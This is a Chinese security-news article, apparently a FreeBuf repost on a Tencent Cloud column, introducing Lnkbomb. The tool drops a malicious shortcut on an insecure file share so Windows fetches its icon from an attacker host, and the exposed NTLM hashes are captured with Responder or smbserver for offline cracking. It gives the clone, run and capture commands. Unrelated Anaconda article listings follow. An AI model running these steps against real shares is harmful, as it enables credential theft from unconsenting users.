Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >如何使用Lnkbomb测试文件共享的安全性

如何使用Lnkbomb测试文件共享的安全性

作者头像
FB客服
发布于 2022-04-11 13:59:38
发布于 2022-04-11 13:59:38
91000
代码可运行
举报
文章被收录于专栏:FreeBufFreeBuf
运行总次数:0
代码可运行

关于Lnkbomb

在很多情况下,内外部网络系统中文件共享的安全问题经常会被管理员所忽略。Lnkbomb作为一款功能强大的安全测试工具,可以帮助广大研究人员通过生成安全测试用的快捷方式,并尝试从目标文件共享中收集NTLM哈希来测试文件共享的安全性能。

工具运行机制

首先,Lnkbomb可以生成一个用于测试的快捷方式文件,并将其上传到目标(不安全)的文件共享。接下来根据Windows操作系统的运行机制,Windows系统将会寻找一个跟该快捷方式文件相关联的图标文件。这个图标文件将能够定向到运行了Responder或smbserver之类工具的安全测试设备上,以实现NTLMv1或NTLMv2哈希的收集操作,具体将取决于目标主机的配置。最后,安全研究人员就可以使用Hashcat之类的工具尝试对其进行离线破解了。

在整个过程中,安全研究人员需要在Payload文件中写入目标设备的IP地址,然后直接将Payload文件通过命令行工具上传到目标文件共享中。

工具安装

该工具基于Python 3开发,因此我们首先需要在本地设备上安装并配置好Python 3环境。

接下来,广大研究人员就可以使用下列命令将该项目源码克隆至本地:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
git clone https://github.com/dievus/lnkbomb.git

注意:该工具在Windows平台上可以正常运行,在Linux平台上运行可能会遇到一些问题。

工具使用

打开命令行工具,切换到项目根目录后,运行下列命令即可查看工具的帮助信息:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
python3 lnkbomb.py -h

上述命令将打开工具的帮助菜单,其中将包含下列参数选项:

-h, --help:查看工具帮助选项 -t, --target:指定目标文件共享位置,例如 -t \\192.168.1.1\Share -a, --attacker:指定测试人员的设备地址,例如 -a 192.168.1.2 -r, --recover:测试完成后,移除Payload文件,例如 -r randomfilegenerated.recover

工具使用样例

样例1

python3 lnkbomb.py -t \\192.168.1.1\Share -a 192.168.1.2

样例2

python3 lnkbomb.py -r randomfilegenerated.recover

样例3

如果你需要使用Responder或smbserver之类的工具来捕捉NTLM哈希的话,可以运行下列命令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
responder -I eth0 -dwf -v

或:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
smbserver.py . . -smb2support

使用可执行文件

广大研究人员也可以直接从该项目的【Releases页面】下载Lnkbomb已编译好的可执行文件,所有的运行参数选项和命令行工具的使用是一样的,只不过运行的时候是通过双击lnkbomb.exe实现,而不是运行“python3 lnkbomb.py”命令。

工具运行截图

许可证协议

本项目的开发与发布遵循MIT开源许可证协议。

项目地址

https://github.com/dievus/lnkbomb

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-03-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Linux安装Anaconda和TensorFlow
众所周知Python常用的版本有2.x和3.x,常常会引起版本问题。由于我在Linux系统中已经安装有Python3.x和对应的TensorFlow,现在遇到需要跑在Python2.x下的TensorFlow工程时,就很麻烦,因此可以用Anaconda来建立一个独立的小环境来另外安装Python2.x及其对应的TensorFlow来跑这个工程。
Cloudox
2021/11/23
1.5K0
Linux安装Anaconda和TensorFlow
Anaconda使用
Python易用,但用好却不易,其中比较头疼的就是包管理和Python不同版本的问题,特别是当你使用Windows的时候。为了解决这些问题,有不少发行版的Python,比如WinPython、Anaconda等,这些发行版将python和许多常用的package打包,方便pythoners直接使用,此外,还有virtualenv、pyenv等工具管理虚拟环境。
LhWorld哥陪你聊算法
2018/09/13
2.2K0
Anaconda介绍、安装及使用保姆级教程
Python是一种面向对象的解释型计算机程序设计语言,其使用,具有跨平台的特点,可以在Linux、macOS以及Windows系统中搭建环境并使用,其编写的代码在不同平台上运行时,几乎不需要做较大的改动,使用者无不受益于它的便捷性。
用户8949263
2022/04/08
8.5K0
Anaconda介绍、安装及使用保姆级教程
Anaconda使用总结
序 Python易用,但用好却不易,其中比较头疼的就是包管理和Python不同版本的问题,特别是当你使用Windows的时候。为了解决这些问题,有不少发行版的Python,比如WinPython、Anaconda等,这些发行版将python和许多常用的package打包,方便pythoners直接使用,此外,还有virtualenv、pyenv等工具管理虚拟环境。 个人尝试了很多类似的发行版,最终选择了Anaconda,因为其强大而方便的包管理与环境管理的功能。该文主要介绍下Anaconda,对Anacon
用户1332428
2018/03/09
1.5K0
Anaconda使用总结
1、Anaconda简介2、Anaconda安装(Linux和Windows)3、Conda的包管理与环境管理
用户7886150
2021/01/26
9090
使用Conda来管理Python包
Anaconda利用工具/命令conda来进行package和environment的管理,并且已经包含了Python和相关的配套工具。里面的环境是分离开的,需要用到什么环境可以进行切换,如同虚拟机一样。包管理与pip的使用类似,环境管理则允许用户方便地安装不同版本的python并可以快速切换。Anaconda则是一个打包的集合,里面预装好了conda、某个版本的python、众多packages、科学计算工具等等,所以也称为Python的一种发行版。
用户7886150
2021/01/22
1.1K0
如何在Debian 9上安装Anaconda Python发行版
Anaconda是一个开源包管理器,环境管理器,以及Python和R编程语言的发行版。它专为数据科学和机器学习工作流程而设计,通常用于大规模数据处理,科学计算和预测分析。
司徒永哥
2018/11/05
5K1
Linux和Windows系统下安装深度学习框架所需支持:Anaconda、Paddlepaddle、Paddlenlp、pytorch,含GPU、CPU版本详
Anaconda安装:Anaconda是一个开源的Python发行版本,其包含了conda、Python等180多个科学包及其依赖项。使用Anaconda可以通过创建多个独立的Python环境,避免用户的Python环境安装太多不同版本依赖导致冲突。
汀丶人工智能
2023/07/13
8690
Linux和Windows系统下安装深度学习框架所需支持:Anaconda、Paddlepaddle、Paddlenlp、pytorch,含GPU、CPU版本详
如何在Ubuntu 18.04上安装Anaconda Python发行版
Anaconda专为数据科学和机器学习工作流程而设计,是一个开源包管理器,环境管理器,以及Python和R编程语言的分发。它通常用于大规模数据处理,科学计算和预测分析。
彼岸轮回
2018/07/24
6.2K1
Anaconda简介、安装、环境设置
Anaconda 是一个包含数据科学常用包的发行版本。它基于 conda(一个包和环境管理器) 衍生而来。应用程序 conda 是包和环境管理器:
菲宇
2019/08/14
3.2K0
centos7 如何安装与使用 Anaconda
Anaconda介绍CentOS 7安装Anaconda3conda命令使用介绍帮助目录检查conda版本升级当前版本的conda环境管理列出所有的环境安装一个不同版本的python新环境复制一个环境创建一个新环境导出环境,Anaconda支持导入导出以方便迁移导入环境信息,即根据配置文件创建一个新环境:移除环境激活进入环境,请使用停用一个活动环境,请使用包管理查看已安装包向指定环境中安装包从Anaconda.org安装一个包通过pip命令来安装包conda配置添加镜像源查看当前镜像源删除镜像源设置安装时显示源url,不想就改为no查看源全部设置,包括链接、show_channel_urls 值:查看conda配置文件其他注意事项安装conda后命令行前出现的base,取消每次启动自动激活conda的基础环境
蒋老湿
2020/07/31
7.6K0
centos7 如何安装与使用 Anaconda
Anaconda 安装&使用
安装 官网 https://www.anaconda.com/ 选择 Python 3.7 版本
Criss@陈磊
2019/08/02
1.4K0
Anaconda 安装&使用
使用 Anaconda 管理 Python 环境
介绍 Anaconda是一个用于科学计算的Python发行版,支持 Linux, Mac, Windows系统,提供python环境管理和包管理功能,可以很方便在多个版本python之间切换和管理第三方包,Anaconda 使用 conda 来进行 Python 环境管理和包管理。 安装 可以从 Anaconda 官方网站下载 https://www.anaconda.com/。 这里安装的是Linux版本 ./Anaconda2-5.0.0.1-Linux-x86_64.sh 安装完成后,Anaconda
kongxx
2018/05/14
1.5K0
anaconda安装python模块_保姆号必须一个区
为了解决上面的问题,更好地管理Python库,让其扬长避短,就必须使用环境管理工具,例如本文介绍的Anaconda。
全栈程序员站长
2022/11/01
8990
史上最全最详细的Anaconda安装教程[通俗易懂]
Anaconda包括Conda、Python以及一大堆安装好的工具包,比如:numpy、pandas等
全栈程序员站长
2022/07/01
38.2K0
史上最全最详细的Anaconda安装教程[通俗易懂]
ubuntu系统安装Anaconda与使用入门
Anaconda是一个开源的Python发行版本,包含了conda、Python等180多个科学包及其依赖项,可以用于包管理器和环境管理。比如A项目中用了Python2,而B项目使用Python3,而同时安装两个Python版本可能会造成许多混乱和错误,这是使用Anaconda就可以为不同的项目建立不同的运行环境。
全栈程序员站长
2021/04/13
3.5K0
ubuntu系统安装Anaconda与使用入门
如何在Linux服务器上安装Anaconda(超详细)「建议收藏」
当然这也是我自己出现的错误,具体解决办法如下: Debian/Ubuntu系统,需要执行以下命令:
全栈程序员站长
2022/07/31
46.2K0
如何在Linux服务器上安装Anaconda(超详细)「建议收藏」
一文掌握 conda 安装配置生物信息软件
Conda 是一种通用包管理系统,旨在构建和管理任何语言的任何类型的软件。通常与 Anaconda 和 Miniconda 一起发放。
章鱼猫先生
2021/10/15
4.6K0
一文掌握 conda 安装配置生物信息软件
Ubuntu18.04安装Anaconda+PyCharm+VS Code[通俗易懂]
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/174997.html原文链接:https://javaforall.cn
全栈程序员站长
2022/09/27
8610
Ubuntu18.04安装Anaconda+PyCharm+VS Code[通俗易懂]
Anaconda安装与初步使用
Anaconda是一个用于科学计算的Python发行版,支持 Linux, Mac, Windows系统,提供了包管理与环境管理的功能,可以很方便地解决多版本python并存、切换以及各种第三方包安装
听城
2018/04/27
2.4K1
Anaconda安装与初步使用
相关推荐
Linux安装Anaconda和TensorFlow
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验